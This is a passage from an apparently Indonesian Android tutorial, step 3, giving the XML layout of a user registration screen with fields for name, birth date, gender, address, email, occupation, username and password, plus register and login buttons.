3. Buat tampilannya

<?xml version="1.0" encoding="UTF-8"?>
<ScrollView
  xmlns:android="http://schemas.android.com/apk/res/android"
  android:layout_width="fill_parent"
  android:layout_height="fill_parent"
  android:fillViewport="true">
  <RelativeLayout
        android:layout_width="fill_parent"
        android:layout_height="wrap_content" android:background="#fff">
 
        <!--  Header  Starts-->
        <LinearLayout android:id="@+id/header"
                android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:background="@layout/header_gradient"
                android:paddingTop="5dip"
                android:paddingBottom="5dip">
                <!-- Logo Start-->
                <ImageView android:src="@drawable/user"
                            android:layout_width="wrap_content"
                            android:layout_height="wrap_content"
                            android:layout_marginLeft="10dip"/>
                <!-- Logo Ends -->
        </LinearLayout>
        <!--  Header Ends -->
        <!-- Footer Start -->
        <LinearLayout 
                android:layout_width="fill_parent"
                android:layout_height="90dip"
                android:background="@layout/footer_repeat"
                android:layout_alignParentBottom="true">
        </LinearLayout>
        <!-- Footer Ends -->
 
        <!-- Registration Form -->
        <LinearLayout
          
          android:orientation="vertical"
          android:layout_width="match_parent"
          android:layout_height="wrap_content"
          android:padding="10dip"
          android:layout_below="@id/header">
          <!-- Full Name Label -->
          <TextView android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:textColor="#372c24"
                android:text="Nama Lengkap"/>
          <EditText 
              android:id="@+id/txtnama"
                android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:layout_marginTop="5dip"
                android:singleLine="true"
                android:layout_marginBottom="20dip"/>
          
          <TextView android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:textColor="#372c24"
                android:text="Tanggal-Bulan-Tahun Lahir"/>
           <EditText 
              android:id="@+id/txtttl"
                android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:layout_marginTop="5dip"
                android:singleLine="true"
                android:layout_marginBottom="20dip"/>
          
          
          <RadioGroup
android:id="@+id/jekel"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="horizontal">
          <RadioButton
android:id="@+id/pria"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Pria" />

<RadioButton
android:id="@+id/perempuan"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Perempuan" />
</RadioGroup>
          <TextView android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:textColor="#372c24"
                android:text="Alamat"/>
          <EditText android:id="@+id/txtalamat"
                android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:layout_marginTop="5dip"
                android:singleLine="true"
                android:layout_marginBottom="20dip"/>
          
          <TextView android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:textColor="#372c24"
                android:text="Email"/>
          <EditText android:id="@+id/txtemail"
                android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:layout_marginTop="5dip"
                android:singleLine="true"
                android:layout_marginBottom="20dip"/>
          
          
          <TextView android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:textColor="#372c24"
                android:text="Pekerjaan"/>
          <EditText android:id="@+id/txtpekerjaan"
                android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:layout_marginTop="5dip"
                android:singleLine="true"
                android:layout_marginBottom="20dip"/>
          
                    
          <!--  Username Label -->
          <TextView android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:textColor="#372c24"
                android:text="Username"/>
          <EditText android:id="@+id/textusername2"
                android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:layout_marginTop="5dip"
                android:singleLine="true"
                android:layout_marginBottom="20dip"/>
          <!-- Password Label -->
          <TextView android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:textColor="#372c24"
                android:text="Password"/>
          <EditText android:id="@+id/textpassword2"
                android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:password="true"
                android:singleLine="true"
                android:layout_marginTop="5dip"/>
          
          <TextView
android:id="@+id/txtstatus2"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="" />
          <!-- Register Button -->
          <Button
        android:id="@+id/btn_daftar"
        style="@style/btnStyleSeagull"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_alignParentTop="true"
        android:layout_centerHorizontal="true"
        android:layout_marginTop="81dp"
        android:onClick="btn_daftar_Clicked"
        android:text="DAFTAR"
        android:textColor="#fff" />
          <!-- Link to Login Screen -->
          <Button android:id="@+id/link_login"
                android:layout_width="fill_parent"
                android:layout_height="wrap_content"
                android:layout_marginTop="40dip"
                android:layout_marginBottom="40dip"
                android:text="Sudah memiliki Akun! Klik Login disini"
                android:onClick="btn_login_ulang_Clicked"
                android:gravity="center"
                android:textSize="20dip"
                android:textColor="#025f7c"/>
 
        </LinearLayout>
        <!-- Registration Form Ends -->
  </RelativeLayout>
 </ScrollView>